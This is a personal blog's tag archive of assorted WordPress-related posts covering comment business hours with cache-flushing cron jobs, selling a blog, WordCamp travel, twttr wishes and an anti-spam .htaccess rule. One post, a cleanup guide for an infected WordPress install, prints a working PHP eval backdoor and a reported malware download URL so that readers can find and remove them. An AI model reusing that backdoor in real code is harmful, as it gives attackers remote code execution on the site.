Tag: weblogging

  • No comments after business hours

    No comments after business hours

    TBH, managing your blog’s comments can sometimes feel like a second job. You want engagement, you love the discussion, but it can also be kind of a drag. For me, especially as I’ve started regularly posting here again, I wanted to maintain some of my off-hours peace without keeping comments off entirely.

    My solution? Setting up business hours — an idea I feel like I stole from Jenn Schiffer, who was maybe doing business hours for some other project of hers — for when folks can leave new comments. Kind of like a brick-and-mortar shop. And the best part? I did it with Nick Diego’s fantastic Block Visibility plugin for WordPress.

    The idea was a simple one: I wanted the comment submission form on my posts to only be visible and submittable between 9:00 AM and 5:00 PM, Monday – Friday, Pacific Time.

    Any comments left during those hours, or any that were already on my site before I flipped this switch, still get displayed perfectly fine. It’s not about silencing discussion — but rather managing when the door is open for people to stop by and talk.

    As I mentioned, the Block Visibility plugin is a lifesaver for this kind of control over all sorts of site components. It lets you set conditions for when any block (or group of blocks) should appear. In this scenario, I’m using the Twenty Twenty-Five theme — though this should work with any block theme — and the process is surprisingly straightforward.

    Once you’ve installed and activated Block Visibility, here’s what you need to do:

    1. Edit your Single Post template: Head into your Site Editor (Appearance → Editor) and navigate to your site’s Single Post template.
    2. Select the appropriate block: Find the block responsible for rendering the actual form where visitors type their comments. In my case, and in many themes, this is the Post Comments Form block.
    3. Open Block Visibility settings: With the block selected, look for the Block Visibility settings in the block inspector panel on the right. You might need to click the lil three-dot menu on the block’s toolbar to find Visibility — or it might be a dedicated panel.
    4. Set the Schedule: This is where the magic happens!
      • Click to add a Date & Time visibility control.
      • You’ll want to set it to Show the block if the schedule applies.
      • For the days, uncheck Saturday and Sunday, leaving Monday, Tuesday, Wednesday, Thursday, and Friday selected.
      • Under During this time interval, set FROM to 09:00 AM and “TO” to 05:00 PM.

    And that’s pretty much it. Now, your site’s comment form will only appear during your designated business hours.

    I also like to add a little notice above the comment area (using a Paragraph block) to let folks know about the commenting hours.

    Something like “The ability to comment on posts is available only during business hours (Monday – Friday, 9am – 5pm UTC).” works just fine.

    It all sounds pretty simple, right? Well, there’s a little wrinkle that I ran into. You might too, depending on your hosting setup.

    Caching is great for site speed, but it can also mean that your comment form might stay open after 5pm or closed after 9am because the cached version of a page is still being served.

    My site is hosted with SpinupWP, which has its own caching layer, on top of object caching. To make sure the changes kick in as promptly as possible, I had to get a touch more technical and set up some server side cron jobs.

    For those comfortable with the command line, or for those whose hosts provide cron access, here’s the fix. I set up two cron jobs: one to run just after comments close, and one to run just after they open.

    Here’s some genericized versions of what I use in cron. You’ll need to adjust the paths and specific caching commands for your own hosting environment:

    # Clear WordPress object cache and [$host] site cache at 9:01 AM, Monday-Friday
    1 9 * * 1-5  cd /path/to/your/wordpress/install && wp cache flush && wp cache purge-site
    
    # Clear WordPress object cache and [$host] site cache at 5:01 PM, Monday-Friday
    1 17 * * 1-5 cd /path/to/your/wordpress/install && wp cache flush && wp cache purge-site
    

    What’s happening here?

    • 1 9 * * 1-5: This is the cron schedule. It means run this command at minute 1, past hour 9 (9:01 AM), Monday through Friday.
    • The second schedule is the same but timed for 17:01 (5:01 PM), also Monday through Friday.
    • cd /path/to/your/wordpress/install: This makes sure the command gets run where your WordPress files live.
    • wp cache flush: This is a WP-CLI command to flush the WordPress object cache.
    • wp cache purge-site: This is a placeholder for your hosting provider’s specific WP-CLI command to purge their site-level cache.

    By running these a minute after the scheduled change to block visibility, we ensure that any cached pages are cleared, and the correct state of the comment form (visible or hidden) is served to visitors.

    It might seem like there’s a few hoops to jump through, especially if caching is a factor for you, but I swear that it’s totally worth it. My site (and its visitors) now respect my office hours, past comments still get displayed, and I’m not tied down by stupid moderation duties.

  • Blog Days Are Over

    Earlier this morning I confirmed the domain transfers for something that I spent almost six years of my life on. A site that I both obsessed over and neglected terribly.

    As of 8 AM, Preshrunk is somebody else’s baby. Saying that is a real punch in the (emotional) dick, but at least I know it’s in good hands now.

    I’m not going to use this post to talk about why I sold the site. That’s already been covered in enough detail. All I really want to say is that I’m happy it went to a good home.

    Oh, I’m also happy that I can pay off a respectable chunk of our wedding loan — but that’s only because the interest rate is embarrassingly high.

    Hopefully I’ll have a little more time to post here now. Considering my track record tho, I wouldn’t hold my breath for that…

  • Goodbye Horses

    So I’ve been helping a few folks out with a Trojan that has been cropping up in a handful of WordPress installs as of late. Currently, it has been getting noticed by the good little girls and boys on Windows with virus scanners installed.  When visiting an infected site, most folks are being prompted to download: 

    http://gvatemal.biz/pfd/spl/pdf.pdf

    Don’t go there tho! The virus scanners identify the contents of that URL as JS:Packed-L, a packed JavaScript exploit.

    So how do you find out if your install has been hit?  Well, the ones I’ve been cleaning up all have the following bit of code right at the top of their main index.php

    <?php if(md5($_COOKIE['0bdcf3981272c15a'])=="23c8932280dcafe25c20c6d25c9c8660"){ eval(base64_decode($_POST['file'])); exit; } ?>

    If you see that floating around, get rid of it!  Once you’ve done that, clear out your site’s cache — if you’re using a caching plugin, that is — and you should be good to go.

    Should you not find that bit of code hanging around in your install’s index.php and there are people still complaining about it, I suggest getting shell access — so long as your web host is awesome and gives you that — and doing a recursive grep. At DreamHost, this is as easy as logging in and running:

    grep -R 0bdcf3981272c15a /home/user/example.com/*

    Of course you’ll want to replace “user” with your username and “example.com” with the domain — or folder if you broke from standard naming conventions — where WordPress is installed.  Give that command a few minutes to run and you should get a path of where that code snippet can be found.  All you have to do at that point is purge it and clear any cache you might have on your WP install.

    Of course, if you managed to get hit with this, it was because there was a hole in your WordPress install. Making sure your core install and plugins are up to date is always a great idea. I check mine daily — but even doing it once a week is better than most folks.

    All I’m saying is that you have to stay militant. Doing so will seriously prevent the headaches of having to deal with fixing this crap on a regular basis.

  • In Transit

    Heads up, SF peeps! This weekend I’ll be driving up to the Yay Area for WordCamp to rep both DreamHost and Preshrunk in an official capacity.

    As it stands, I’m driving up Friday night and crashing out at Frazier’s secret headquarters somewhere in the East Bay. Since I don’t like being part of the problem — or paying for parking — I’ll be taking as much public transit as I possibly can. So it’s handy that I managed to stumble upon these handy iPhone related Muni apps that use NextBus information. Now all I need is a native looking (i.e. pretty) trip planner and I’m all set. So… Does anybody know of one off the top of their heads — or am I stuck using 511.org over EDGE?

  • Productivity

    Damn. I’ve been a busy bee tonight…

    Sadly, I can’t remember the last time I pulled off that much stuff in an evening. All I know is that it feels good to be productive for a change. Perhaps I can manage to keep it up.

  • Attack Of The Comment Spam

    Something that’s been really grinding my gears lately is the amount of comment spam that I’ve been seeing in my moderation queue. Despite the fact that I use the very wonderful Akismet for WordPress, sometimes it can’t keep up with the flood coming down the proverbial tubes.

    Something’s that’s really helped is a little bit of .htaccess magic that one of my coworkers sent me. What it does is keep people from hitting your wp-comments-post.php unless they’re submitting the request from your server. Of course headers can be forged, but it’s really proven to be quite useful to me. Because of this, I thought I’d be a nice guy share it with y’all. Peep this…

    RewriteEngine On
    RewriteCond %{REQUEST_METHOD} POST
    RewriteCond %{REQUEST_URI} .wp-comments-post\.php*
    RewriteCond %{HTTP_REFERER} !.*yourdomain.com.* [OR]
    RewriteCond %{HTTP_USER_AGENT} ^$
    RewriteRule (.*) ^http://%{REMOTE_ADDR}/$ [R=301,L]

    Naturally, you’re going to want to replace “yourdomain.com” with your actual domain — but other than that, it’s ready to go. Since I spend a lot of my day helping folks troubleshoot their WordPress installs and .htaccess rules, I’d really dig it if you’d refrain from asking questions. That’s right, this spot of code is supplied “as is”, kids.

    Enjoy!

  • A Burgeoning Movement

    Would anybody care that much if I migrated this site to the much easier to spell — but nowhere near as creatively named — jasoncosper.com? Right now it’s mirroring this site, but I was actually thinking of doing a move in the near future.

    I’d be sure to update the feed URLs with all of the proper redirects and keep Ono Sendai live for at least the next year if I did manage to migrate it over. Still, I thought I’d ask the half a dozen readers that I have before doing it… ;)

    Update: *shrug* Fuck it, I’ve officially moved. All of your old feed URLs should work for the time being.

  • OPMLosAngeles

    So I was just thinking — it wouldn’t be an altogether horrible idea to get together an OPML or XOXO list of the BarCamp Los Angeles crew’s blogs, would it?

    If someone wants to work with me on getting this done, let me know!

  • Travel Sick

    After spending seven and a half hours on the road — three of which were in LA traffic I might add1 — I’m set up on the fold out at Frazier’s downright palatial Oaktown lair.

    Tomorrow is WordCamp, where Frazier and I will will be representing Hipster Mafia2. What that means is him and I are going to go to assorted talks and I’m going to give out business cards and act like a wanker3.

    If you see me in the hall and want to say hello or throw rotten fruit, walk over and do so.

    I’ll try to update a few times tomorrow as I sit in the sessions — but you know how it goes with me and promising to make updates, right? ;)

    1. OC to SF by way of Culver City is not something I’d call fun. But that 30 mile, one and a half hour detour netted me $130 and helped me get rid of my Sidekick II.
    2. That basically means Preshrunk — but we might have another property someday soon.
    3. Hopefully Arrington or Calacanis don’t magically appear and out-wanker me. That’d make me sad.
  • My Twttr Ponies

    Like any good internet beta whore, I just started using twttr. And while it’s pretty cool and rather promising, there are a few things that I really wish it had…

    1. For starters, a simple JavaScript based badge would be nice. While Flash is nice for some things, I really don’t think I need to load it to tell the world I’m having a beer or going on a walk. Also, it’d be nice if I didn’t have to recode my template to fit it in.
    2. RSS/Atom feeds wouldn’t hurt either. I know it’s supposed to be mobile phone based, but it really would be nice if I could give my feed out to folks instead of making them use twttr’s service to follow me around. Keeping track of my friends would be much less irritating too… ;)
    3. The ability to turn off “update sent” notices being sent to your phone. Yeah, I know I just sent an update. I appreciate that you want to let me know that my friends got my message and everything, but that’s really sort of unnecessary. Well, at least I think it is. *shrug*

    I’m really not trying to be a curmudgeon, honest. I just think that this stuff would take twttr from being a novel application to something I actually use frequently.

    P.S. Like, OMG! Add me!
    P.P.S. According to Jack — who happens to be the dude behind twttr — ponies #1 and #2 are already being worked on. Hooray!
    P.P.P.S. What’s more, pony #3 is a non issue. Apparently the “update sent” message only gets sent to your phone on your first message. Sweet!